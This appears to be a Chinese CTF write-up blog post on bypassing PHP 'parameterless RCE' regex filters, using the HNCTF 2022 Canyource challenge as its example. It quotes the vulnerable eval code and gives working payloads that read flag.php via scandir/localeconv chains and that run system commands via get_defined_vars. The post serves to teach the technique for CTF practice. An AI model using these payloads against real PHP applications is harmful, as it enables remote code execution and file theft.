首页 > 其他分享 >无参数RCE绕过

无参数RCE绕过

时间:2024-07-11 13:56:12浏览次数:13  
标签:code GET current flag 参数 RCE 绕过 php scandir

特征

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}

        使用该正则表达式时,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

例题:[HNCTF 2022 WEEK2]Canyource

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?> 
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])

这里限制了phpinfo()、highlight_file、show_source函数使用不了。

方法一:scandir()

1.这里我们首先通过print_r(loccaleconv());可以看到    [decimal_point] => .

 localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

2. 利用current()将这个‘.’读取出来(current()-读取数组的第一个元素);‘.'代表着当前目录,相当于Linux中的ls命令

3.利用scandir()//(scandir()-扫描目录),scandir(.)将会返回当前目录的文件和子目录

能够得到flag就藏在flag.php文件中

4.flag.php的位置在后面,利用array_reverse()将数组内容倒转,从倒数第二的位置变成正数第二 

5.接下来通过next(),将内部指针指向数组中的下一个元素,这样就能够指定flag.php文件了 6.最后用readfile()返回文件内容,得到flag了zuzu 最终payload:?code=readfile(next(array_reverse(scandir(pos(localeconv())))));//                              pos()和current()功能一样

方法二:get_defined_vars()

1.首先我们去判断是否有回显

它能够回显全局变量,顺序为$_GET、$_POST、$_COOKIE、$_FILES

2.假如说原本只有一个参数,那么可以多加一个参数,后面去写入恶意语句,

payload:?code=eval(end(pos(get_defined_vars())));&a=system(ls);

 另还有多种解法,大家积极探索

标签:code,GET,current,flag,参数,RCE,绕过,php,scandir
From: https://blog.csdn.net/2301_76849272/article/details/140349153

相关文章

  • Codeforces Round #956 (Div. 2)题解
    A.ArrayDivisibility需要让满足$k\midj$的所有\(a_j\)的和整除k,只需要让每个\(a_j\)整除k就可以了,可以让\(a_j=j\)#include<bits/stdc++.h>usingnamespacestd;#defineintlonglong#defineendl'\n'typedefpair<int,int>pii;typedefunsignedlonglo......
  • FUSE(用户空间文件系统)命令参数
    GPT-4(OpenAI) FUSE(FilesysteminUserspace)是一个允许创建用户空间文件系统的接口。它提供了一个API,让开发者在未修改内核代码的情况下,通过自己的程序实现文件系统。FUSE文件系统通常通过mount命令来挂载,而且这个命令可以接受各种参数。以下是一些FUSE的常见参数:--......
  • CodeForces - 1986G1 & CodeForces - 1986G2
    经过基本观察,可得当点对\((i,j)\)合法时,有\(a_i|b_j,a_j|b_i\),其中\(a_i=i/gcd(p_i,i),b_i=p_i/gcd(p_i,i)\),证明显然。如何维护?考虑开\(mp_{x,y}\)表示\(x=a_i\),\(y|b_i\)的个数。对于点\(i\)点对个数即为\(\sum\limits_{d|b_i}mp_{d,a_i}\)时间复杂度为\(O(nlog......
  • CodeForces - 1984E
    题目大意每次在每个联通块中选一个点\(u\),删除这个点使得联通块分成若干个联通块,再从联通块中选点\(v\),在新树上连接\(u,v\),求新树叶节点的最大个数。分析易转化为求原树的最大独立集,设\(f_{u,0/1}\)为以1为根时不选/选\(u\)的最大独立集。显然有:\[dp_{u,0}=\sum\li......
  • 算法金 | DL 骚操作扫盲,神经网络设计与选择、参数初始化与优化、学习率调整与正则化、
    大侠幸会,在下全网同名「算法金」0基础转AI上岸,多个算法赛Top「日更万日,让更多人享受智能乐趣」今日216/10000抱个拳,送个礼神经网络设计与选择参数初始化与优化学习率调整与正则化数据预处理与标准化训练过程与监控特定模型技巧其他训练技巧1.神经网络设计......
  • 大气热力学(12)——强对流指数之一(能量参数)
    从本篇文章开始,都不是我原有手写笔记上的内容,都是全新添加的内容。本篇文章介绍了根据预报员多年经验总结的各种强对流预报指数,希望这部分内容能对你有所帮助。目录12.1对流有效势能(CAPE)12.1.1CAPE的概念与相关公式12.1.2CAPE与上升气块的起始高度的关系12.1.3CAPE与上升气块......
  • linux里source、sh、bash、./有什么区别(转)
    在linux里,source、sh、bash、./都可以执行shellscript文件,那它们有什么不同吗?1、sourcesourcea.sh在当前shell内去读取、执行a.sh,而a.sh不需要有"执行权限"source命令可以简写为".".a.sh注意:中间是有空格的。2、sh/bashsha.shbasha.sh都是打开一个subshell去读......
  • 实战篇——SSRF漏洞RCE实战
    实战篇——SSRF漏洞RCE实战SSRF的原理攻击者利用外部服务器对请求资源未作限制的缺陷,构造特定的请求实现内网渗透。SSRF之RCE实战代码审计:此处未对url作任何的过滤或验证,因此存在SSRF漏洞。利用file伪协议读取文件,实现内网主机探测:利用dict伪协议探测192.168.118.150的......
  • 利用Selenium和PhantomJS绕过接口加密的技术探索与实践
    selenium+phantomjs绕过接口加密我们为什么需要selenium之前我们讲解了Ajax的分析方法,利用Ajax接口我们可以非常方便地完成数据的爬取。只要我们能找到Ajax接口的规律,就可以通过某些参数构造出对应的的请求,数据自然就能被轻松爬取到。但是,在很多情况下,Ajax请求的接口通......
  • 【Stable Diffusion】(基础篇三)—— 关键词和参数设置
    提示词和文生图参数设置本系列笔记主要参考B站nenly同学的视频教程,传送门:B站第一套系统的AI绘画课!零基础学会StableDiffusion,这绝对是你看过的最容易上手的AI绘画教程|SDWebUI保姆级攻略_哔哩哔哩_bilibili本文主要讲解如何正确高效地使用合适的提示词来帮助完成AI绘......